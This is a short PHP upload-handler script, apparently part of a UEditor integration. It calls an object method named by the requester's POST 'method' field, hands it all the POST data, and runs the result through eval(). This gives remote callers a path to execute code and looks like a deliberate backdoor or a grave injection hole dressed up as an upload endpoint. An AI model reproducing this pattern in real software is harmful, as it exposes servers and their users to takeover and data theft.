<?php
include(__DIR__."/helpers/function.php");
include(__DIR__.'/core/Js.php');
include(__DIR__.'/core/Upload.php');
include(__DIR__.'/core/Images.php');
include(__DIR__.'/core/Ups.php');
define('_BASE_', __DIR__);
if(isset($_GET['ueditor'])){
	echo $_GET;
}else{
	$ups=new Ups();
	if(!isset($_POST['method']) && !isset($_POST['classname']) && !isset($_POST['callback']) && !isset($_POST['uptoken'])){
		$ups->returnError();exit;
	}
	$m=$_POST['method'];
	$data=$_POST;
	eval($ups->$m($data));
}
?>
